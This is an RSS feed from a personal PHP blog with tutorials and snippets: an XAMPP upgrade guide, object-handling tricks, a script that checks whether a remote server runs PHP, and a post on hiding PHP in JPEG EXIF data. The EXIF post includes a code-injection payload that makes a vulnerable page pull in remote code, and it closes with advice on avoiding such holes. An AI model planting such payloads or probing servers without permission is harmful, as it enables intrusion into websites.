<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>plasmid.co.uk &#187; PHP</title>
	<atom:link href="http://plasmid.co.uk/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://plasmid.co.uk</link>
	<description>because life is faster in reverse ...</description>
	<lastBuildDate>Thu, 20 May 2010 23:07:11 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<image>
  <link>http://plasmid.co.uk</link>
  <url>http://plasmid.co.uk/wp/favicon.ico</url>
  <title>plasmid.co.uk</title>
</image>
		<item>
		<title>Installing PHP 5.3.0rc2 for XAMPP (Windows)</title>
		<link>http://plasmid.co.uk/2009/05/23/installing-php-530rc2-for-xampp-windows/</link>
		<comments>http://plasmid.co.uk/2009/05/23/installing-php-530rc2-for-xampp-windows/#comments</comments>
		<pubDate>Sat, 23 May 2009 23:06:26 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP 5.3.0rc2]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[XAMPP]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/?p=142</guid>
		<description><![CDATA[Having been unable to find a definitive guide to upgrading the XAMPP PHP version to PHP 5.3.0rc2, I decided to improvise on a guide for installing the PHP 5.3 alpha.
My guide will describe how to upgrade the current XAMPP PHP version to the second release candidate of version 5.3. It is expected that this method [...]]]></description>
			<content:encoded><![CDATA[<p>Having been unable to find a definitive guide to upgrading the XAMPP PHP version to PHP 5.3.0rc2, I decided to improvise on <a href="http://forge.typo3.org/wiki/flow3-overview/PHP_53alpha_installation_on_Windows_(xampp)">a guide for installing the PHP 5.3 alpha</a>.</p>
<p>My guide will describe how to upgrade the current XAMPP PHP version to the second release candidate of version 5.3. It is expected that this method will also work for the <strong>third release candidate</strong> when it is released later this month.<br />
<span id="more-142"></span><br />
<strong>Step 1: Make backups</strong></p>
<p>Before starting, make sure to backup any settings, custom modules and most importantly the <strong>htdocs directory</strong>, which contains your scripts and page resources. This directory is normally located at <em>C:\xampp\htdocs\</em></p>
<p><strong>Step 2: Preparation</strong></p>
<ol>
<li><a href="http://windows.php.net/downloads/qa/php-5.3.0RC2-Win32-VC6-x86.zip">Download PHP 5.3.0rc2</a>. I use the VC6 build in order to minimise any potential compatibility issues.</li>
<li>It is also recommended that you download the <a href="http://www.apachefriends.org/en/xampp-windows.html">latest Windows version of XAMPP</a>. While this is an upgrade guide that <em>should</em> work with previous versions of XAMPP, it is recommended that a fresh copy of the core files is used.</li>
<li>Stop any instances of the Apache service that might be running.</li>
</ol>
<p><strong>Step 3: The upgrade</strong></p>
<p>This guide will assume your XAMPP directory is <em>C:\xampp\</em></p>
<ol>
<li>Extract the XAMPP archive to a directory of your choosing, I would recommend using the default <em>C:\xampp\</em></li>
<li>Extract the contents of the PHP archive to <em>C:\xampp\php\</em>, overwriting the contents of this directory with the new files.</li>
<li>Open the file <em>C:\xampp\apache\conf\extra\httpd-xampp.conf</em> and ensure the following lines are present in this order:
<pre>LoadFile "/xampp/php/php5ts.dll"
LoadModule php5_module "/xampp/apache/bin/php5apache2_2.dll"</pre>
</li>
<li>Replace <em>C:\xampp\php\php.ini</em> with <em>C:\xampp\php\php.ini-dist</em><br />
Uncomment the lines:</p>
<pre>;extension=php_mbstring.dll
;extension=php_pdo_sqlite.dll</pre>
<p>Replace the line
<pre>magic_quotes_gpc = On</pre>
<p> with
<pre>magic_quotes_gpc = Off</pre>
</li>
<li>Copy all files in the <em>C:\xampp\php\</em> to <em>C:\xampp\apache\bin\</em> (<strong>do not</strong> copy the subdirectories or their contents).</li>
</ol>
<p>After following the above steps, restart your Apache service (this can be done using <em>C:\xampp\xampp-control.exe</em> or manually through the control panel/command prompt). Your PHPinfo should indicate that the upgrade has been successful.</p>
<p>I will update this post if I discover any problems from using this method, or a cleaner (automated) means of performing the upgrade.</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2009/05/23/installing-php-530rc2-for-xampp-windows/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Fyrwerks Update</title>
		<link>http://plasmid.co.uk/2008/12/02/fyrwerks-update/</link>
		<comments>http://plasmid.co.uk/2008/12/02/fyrwerks-update/#comments</comments>
		<pubDate>Tue, 02 Dec 2008 02:06:06 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[fyrwerks]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/?p=96</guid>
		<description><![CDATA[This project is still very much in early development. Many alterations and additions have been integrated into the final plans; accommodating these will push back a release until early 2009.
More information will be provided once I've modified the framework core to adopt some of the most important changes. The Fyrwerks development site will be uploaded [...]]]></description>
			<content:encoded><![CDATA[<p>This project is still very much in early development. Many alterations and additions have been integrated into the final plans; accommodating these will push back a release until <strong>early 2009</strong>.</p>
<p>More information will be provided once I've modified the framework core to adopt some of the most important changes. The <a href="http://fyrwerks.com">Fyrwerks development site</a> will be uploaded when I get around to finishing it (I am hoping to use the first developmental release to power it!).</p>
<p>//-plasm!d-//</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2008/12/02/fyrwerks-update/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Fyrwerks</title>
		<link>http://plasmid.co.uk/2008/10/11/php-fyrwerks/</link>
		<comments>http://plasmid.co.uk/2008/10/11/php-fyrwerks/#comments</comments>
		<pubDate>Sat, 11 Oct 2008 00:48:59 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[fyrwerks]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/?p=70</guid>
		<description><![CDATA[I am pleased to announce that I am in the process of developing and (at some stage) releasing my personal PHP development framework - Fyrwerks. This has been an ongoing project for some time, it is only recently that I have decided to consider releasing it publicly.
While I can't give away too many details just [...]]]></description>
			<content:encoded><![CDATA[<p>I am pleased to announce that I am in the process of developing and (at some stage) releasing my personal PHP development framework - <strong>Fyrwerks</strong>. This has been an ongoing project for some time, it is only recently that I have decided to consider releasing it publicly.</p>
<p>While I can't give away too many details just yet, the following are some of the features you can expect to see in the first release:</p>
<ul>
<li>A <strong>structured framework</strong> for installing and maintaining custom PHP web apps.</li>
<li>Libraries dedicated to <strong>simplifying</strong> and <strong>object orientating</strong> repetitive or complex tasks</li>
<li>Fast script execution and reliable communication channels between different services.</li>
<li>Compact and <strong>easy to set-up</strong>.</li>
<li>Fully <a href="http://gophp5.org">GoPHP5</a> compliant.</li>
</ul>
<p>The development site is located at <strong><a href="http://fyrwerks.com">http://fyrwerks.com</a></strong>, some early demos should be available from next month.</p>
<p>Check back soon for updates!</p>
<p>//-plasm!d-//</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2008/10/11/php-fyrwerks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>List PHP extensions with functions</title>
		<link>http://plasmid.co.uk/2008/08/11/list-php-extensions-with-functions/</link>
		<comments>http://plasmid.co.uk/2008/08/11/list-php-extensions-with-functions/#comments</comments>
		<pubDate>Mon, 11 Aug 2008 15:31:25 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Extension functions]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP extensions]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/?p=58</guid>
		<description><![CDATA[This is a quickie I thought I'd put up on my break. Although it isn't exactly complex or ground-breaking, its nice to have it at hand if you wanted to see which extensions provide particular functions (without having to refer to php.net of course!)

	$exts = get_loaded_extensions();

	foreach($exts as $ext) {
		$flist[$ext] = get_extension_funcs($ext);
	}

	print_r($flist);

This is a nice starting [...]]]></description>
			<content:encoded><![CDATA[<p>This is a quickie I thought I'd put up on my break. Although it isn't exactly complex or ground-breaking, its nice to have it at hand if you wanted to see <strong>which extensions provide particular functions</strong> (without having to refer to <a href="http://php.net">php.net</a> of course!)</p>
<pre lang="code" class="php">
	$exts = get_loaded_extensions();

	foreach($exts as $ext) {
		$flist[$ext] = get_extension_funcs($ext);
	}

	print_r($flist);
</pre>
<p>This is a nice <strong>starting point</strong> if you wanted to write a script that determines whether the server you're installing onto has the necessary PHP extensions loaded.</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2008/08/11/list-php-extensions-with-functions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP GUID Exposure</title>
		<link>http://plasmid.co.uk/2008/08/06/php-guid-exposure/</link>
		<comments>http://plasmid.co.uk/2008/08/06/php-guid-exposure/#comments</comments>
		<pubDate>Wed, 06 Aug 2008 14:15:29 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[easteregg]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP detection]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/?p=56</guid>
		<description><![CDATA[There's a neat little tutorial on how to access various PHP easteregg images at 0php. The author also describes how to prevent your server from displaying this image (to prevent outside users from being able to determine whether or not your server is running PHP).
I thought I'd make a little script that takes advantage of [...]]]></description>
			<content:encoded><![CDATA[<p>There's a <a href="http://www.0php.com/php_easter_egg.php">neat little tutorial</a> on how to access various <strong>PHP easteregg images</strong> at <a href="http://www.0php.com/">0php</a>. The author also describes how to prevent your server from displaying this image (to prevent outside users from being able to determine whether or not your server is running PHP).</p>
<p>I thought I'd make a little script that takes advantage of this easteregg and the inherent format of GIF image files to <strong>determine whether PHP is running</strong> on a remote server.</p>
<pre lang="code" class="php">
&lt;?php

	// Configuration.
	$url = 'http://www.example.com/'; // Replace with whichever URL.

	// Open the connection.
	$handle = @fopen($url.'?=PHPE9568F36-D428-11d2-A769-00AA001ACF42', 'r');
	if($handle)
		echo("Handle active...\n"); else
		die("Error creating handle!\n");

	// Import data into buffer.
	$buffer = fgets($handle, 4);
	if($buffer == 'GIF') // &lt;- part of the binary header for GIF files.
		echo("This server is using PHP!\n"); else
		echo("This server is <strong>NOT</strong> using PHP!\n");

	// Close up, clean up.
	$ret = fclose($handle);
	$handle = NULL;
	if($ret)
		echo('Success!'); else
		die('Failed to close handle!');

?&gt;
</pre>
<p>Don't forget to replace <code>$url</code> with the server address before using this script.</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2008/08/06/php-guid-exposure/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>PHP 5.2.x __toString() Support</title>
		<link>http://plasmid.co.uk/2008/07/28/php-52x-__tostring-support/</link>
		<comments>http://plasmid.co.uk/2008/07/28/php-52x-__tostring-support/#comments</comments>
		<pubDate>Mon, 28 Jul 2008 17:52:16 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[toString]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/?p=41</guid>
		<description><![CDATA[Since updating to PHP version 5.2.2 (which has been superseded yet again since this post) the default behavior of class objects is to raise an error when cast to a string (usually a 'Catchable Fatal Error', citing that the object could not be converted to string!).
This is quite irritating, as previously the default behavior would [...]]]></description>
			<content:encoded><![CDATA[<p>Since updating to PHP version 5.2.2 (which has been superseded yet again since this post) the default behavior of class objects is to <strong>raise an error when cast to a string</strong> (usually a 'Catchable Fatal Error', citing that the object could not be converted to string!).</p>
<p>This is quite irritating, as previously the default behavior would be to <strong>return a unique object identifier</strong>. However, there is a quick workaround for this problem should your script rely upon object string casting / this unique object identifier.</p>
<p><strong>The Fix</strong></p>
<p>When creating your class, add in __toString() as a function. This so-called '<em>magic function</em>' is called when trying to cast an object to string, such as <code>(string) $someObject</code>. The following combines this function with a call to <strong>spl_object_hash()</strong>, which provides an identifier hash for the object:</p>
<pre lang="code" class="php">
&lt;?php

class SomeClass {
	function __toString() {
		return spl_object_hash($this);
	}
}

$someObject = new SomeClass;
echo $someObject;

?&gt;
</pre>
<p>The above code is fairly self-explanatory and it saves you from at least a few of minutes banging your head on the table :-)</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2008/07/28/php-52x-__tostring-support/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>EXIF and PHP exploitation &#8211; The Truth</title>
		<link>http://plasmid.co.uk/2008/05/21/exif-and-php-exploitation-the-truth/</link>
		<comments>http://plasmid.co.uk/2008/05/21/exif-and-php-exploitation-the-truth/#comments</comments>
		<pubDate>Wed, 21 May 2008 20:52:17 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[EXIF]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/?p=44</guid>
		<description><![CDATA[Introduction
After reading through a couple of tutorials describing the ease with which PHP can be included directly from the EXIF data within a JPEG image, I became suspicious. Surely my eyes deceive me? Is this a late April Fools'? My first point of call was Google - which provided me with a wealth of information [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Introduction</strong></p>
<p>After reading through a <a href="http://tinyurl.com/4kmh8h">couple of tutorials</a> describing the ease with which PHP can be included directly from the <abbr title="Exchangeable image file format">EXIF</abbr> data within a JPEG image, I became suspicious. Surely my eyes deceive me? Is this a late April Fools'? My first point of call was Google - which provided me with a wealth of information on EXIF functions from within PHP, but very little regarding this particular vulnerability.</p>
<p>There was nothing for it... time to jump in and see what the fuss was about!<br />
<span id="more-44"></span><br />
<strong>Theory</strong></p>
<p>In fairness, this tutorial is more of a reminder about general file security and good PHP inclusion practices. The JPEG EXIF data example is particularly illuminating in both of these aspects.</p>
<p>Most modern cameras and image recording devices save embedded data within their photos; this often includes the camera model, the date and time of the photograph, author information, orientation etc. This is fantastic for Joe Public, who can come home after a night of drunken debauchery, sling the camera memory card in it's reader <strong>et Voila!</strong> - pictures recounting his sordid antics are arranged chronologically on his desktop for later viewing... <em>GREAT</em>!</p>
<p>However, it is by this very same mechanism that an unscrupulous individual could include malicious PHP in an otherwise secure website.</p>
<p>The core of the issue is simple - <strong>EXIF data is stored as plain text within JPEG files</strong>. This is problematic in scenarios where users are allowed to upload their own images. For example, if a forum page is engineered in such a way as to allow the arbitrary inclusion of a locally uploaded JPEG image, there is the opportunity for EXIF data spiking to take place.</p>
<p><strong>Method</strong></p>
<ol>
<li>Open up a JPEG with an image editor that supports EXIF data modification (e.g. <abbr title="Paint Shop Pro">PSP</abbr> or <abbr title="Photoshop">PS</abbr> work just fine).</li>
<li>Find the option to view image information and <strong>select EXIF Information</strong>.</li>
<li>Paste the following into an editable field (e.g. 'Image Title'): <code>&lt;? include('http://target-site.com'); ?&gt;</code>.</li>
</ol>
<p>This is a very simple example where remote inclusion can take place (server settings permitting). To use, all that is required is a page where you're able to <code>include()</code> the image itself using <code>$_GET[]</code> or otherwise. During the include process, the file is read as plain text and the PHP code is executed.</p>
<p>The same effects can be replicated by including a file that contains plain text PHP code (e.g. text files, Word Documents, etc).</p>
<p><strong>Conclusion</strong></p>
<p>As my original suspicions confirmed, EXIF data manipulation as an <em>exploit</em> is simply too good to be true. I concede that there is potential for misuse (especially on poorly coded sites and forums) as image uploads are an integral aspect of almost every modern website. However, the fault often lies with individual weak scripts that are very easy to fix. The cause of this problem is because there is a tendency for programmers to be satisfied with dangerous PHP code!</p>
<p><strong>How to avoid this affecting you</strong></p>
<p>Never, I repeat - <strong>NEVER</strong> use <code>$_GET[]</code> to retrieve a file path for inclusion. Use databases or (if absolutely necessary) internal variables to hold file paths and make inclusion by reference to these, not what you get from the users browser. Also make sure to rigorously test your scripts before deploying them and (if you're particularly paranoid) selectively fuzz them whenever you make changes! Take heed of this and you're flying ;-)</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2008/05/21/exif-and-php-exploitation-the-truth/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A faster object in_array() for PHP 5</title>
		<link>http://plasmid.co.uk/2008/03/30/a-faster-object-in_array-for-php-5/</link>
		<comments>http://plasmid.co.uk/2008/03/30/a-faster-object-in_array-for-php-5/#comments</comments>
		<pubDate>Sun, 30 Mar 2008 22:02:56 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[casting]]></category>
		<category><![CDATA[in_array]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/2008/03/30/a-faster-object-in_array-for-php-5/</guid>
		<description><![CDATA[This is a fast and effective way of find an object in an array.
As of PHP v5.2.2 objects do not have a default response to being cast to (string). To make this tutorial work with newer PHP builds, use spl_object_hash() in place of string casting.
Introduction
When a new object is created in PHP it is assigned [...]]]></description>
			<content:encoded><![CDATA[<p>This is a fast and effective way of find an object in an array.</p>
<p><ins datetime="2008-04-12T19:24:25+00:00">As of PHP v5.2.2 objects do not have a default response to being cast to (string). To make this tutorial work with newer PHP builds, use <strong>spl_object_hash()</strong> in place of string casting.</ins></p>
<p><strong>Introduction</strong></p>
<p>When a new object is created in PHP it is assigned an internal numeric id value. The only way to destroy an object (thereby deleting its internal id) is to <strong>unset()</strong> or nullify (<strong>=NULL</strong>) all references to the object from within the script. It follows that when an object is destroyed, PHP will fill the lowest id available for the next object. For example: if objects with ids 4, 5 and 6 exist -  by destroying 5, the next two objects created in PHP will have id 5 and then id 7!</p>
<p><em>These rules can be exploited to provide a much faster object in_array()</em>!</p>
<p><strong>Theory</strong></p>
<p>Comparison of multidimensional objects will almost always be more processor intensive than string comparison. It occurred to me that a great deal of time could be saved by identifying objects in an array as strings. However, conventional approaches using serialize() tend to exacerbate the problem further as the function itself is quite slow. The following is the proposed function with a demo on how it could be implemented.</p>
<pre lang="code" class="php">

/***
	The proposed object_in_array function.
	***/
	function object_in_array($needle, $haystack) {
		/***
		Arguments:
			(object) $needle - The object being searched for.
			(array) $haystack - The array containing objects.
		***/
		$stringArray = array_map(create_function('$in','return (string)$in;'),$haystack);
		$objectString = (string)$needle;
		return in_array($objectString,$stringArray,TRUE);

	}

	/***
	Prepare an object needle.
	***/
	$needleObject = new stdClass;

	/***
	Prepare a sample array including the
	needleObject.
	***/
	$objectArray = array(
		new stdClass,
		new stdClass,
		new stdClass,
		$needleObject
	); 

	/***
	Uncomment the block  below to perform
	an analysis of a much larger array.
	***/

	/*
	for($i=0;$i &lt; 50000;$i++) {
		$objectArray[] = new stdClass;
	}
	$objectArray[] = $needleObject;
	*/

	/***
	Start time-stamp
	***/
	$timeStamp = get_micro_time();

	/***
	NOTE: The print() function is included
	in the time analysis as it doesn't contribute
	much to the overal time required.
	***/
	print(object_in_array($needleObject,$objectArray) ? "Found!\n" : "Not found!\n");

	/***
	End time-stamp and display.
	***/
	$timeStamp = round(get_micro_time() - $timeStamp,6);
	print("Search duration: $timeStamp ms");

	/***
	Auxillary timing function. Sorry,
	I can't remember where I got this function
	from or I would credit the author! Google it :-p
	***/
	function get_micro_time() {
		list($microSec, $sec) = explode(" ", microtime());
		return ((float)$microSec + (float)$sec);
	}
</pre>
<p>The above can be further optimised (clean-up the temporary array, etc.) but serves to show how the array can be <strong>copied</strong>, <strong>recast</strong> and used as <strong>a search reference</strong> for objects. Modification of the above to use the conventional in_array() or foreach() looping drastically increases the duration of the search! With very little modification to the code, the function could even return the object directly and retain the same array processing speed.</p>
<p><strong>A footnote...</strong></p>
<p>I had previously toyed with the idea of using a single array, casting the objects to strings and storing these as the key for each item (then using array_key_exists() ). If you're not too worried about using the array keys / don't use them to store useful data, this latter method can be ten-fold faster than the above example!</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2008/03/30/a-faster-object-in_array-for-php-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Accessing private properties in PHP 5 objects</title>
		<link>http://plasmid.co.uk/2008/03/05/revealing-private-properties-in-php-5-objects/</link>
		<comments>http://plasmid.co.uk/2008/03/05/revealing-private-properties-in-php-5-objects/#comments</comments>
		<pubDate>Wed, 05 Mar 2008 19:54:09 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[objects]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[properties]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/2008/03/05/revealing-private-properties-in-php-5-objects/</guid>
		<description><![CDATA[With the introduction of PHP 5 comes the ability to define class properties and methods in a more traditional style to C++ and other popular OOP languages. The three major distinctions are Public (designated by default), Private and Protected.
Demonstration:

class TestClass {

 	public $VarA = 'I am public!';
 	private $VarB = 'I am private!';
 	protected $VarC [...]]]></description>
			<content:encoded><![CDATA[<p>With the introduction of PHP 5 comes the ability to define class properties and methods in a more traditional style to C++ and other popular <abbr title="Object-orientated programming">OOP</abbr> languages. The three major distinctions are Public (designated by default), Private and Protected.</p>
<p>Demonstration:</p>
<pre lang="code" class="php">
class TestClass {

 	public $VarA = 'I am public!';
 	private $VarB = 'I am private!';
 	protected $VarC = 'I am protected!';

}

$NewInstance = new TestClass;

print($NewInstance-&gt;VarA); /* No problem */
// print($NewInstance-&gt;VarB); /* Error */
// print($NewInstance-&gt;VarC); /* Error */</pre>
<p>$NewInstance is initiated as an instance of TestClass. $VarA can be easily accessed using $NewInstance-&gt;VarA, however trying to access VarB and VarC in the same manner will generate an error as they are designated inaccessable outside the current class (or sublcasses in the case of VarC). It is sometimes necessary to access Private and Protected object variables and this can be achieved very easily using just one line of code:</p>
<pre lang="code" class="php">
 	var_dump( (array) $NewInstance );</pre>
<p>This will generate a dump containing a list of all object properties, including private and protected variables. Each will have an assigned key that follows the pattern of:</p>
<p>["?class name?private property name"] = PRIVATE PROPERTIES<br />
["?*?protected property name"] = PROTECTED PROPERTIES</p>
<p>By type-casting to an array, the object properties are forcibly revealed in the same way you can reduce an object to a string using serialize().</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2008/03/05/revealing-private-properties-in-php-5-objects/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.243 seconds -->
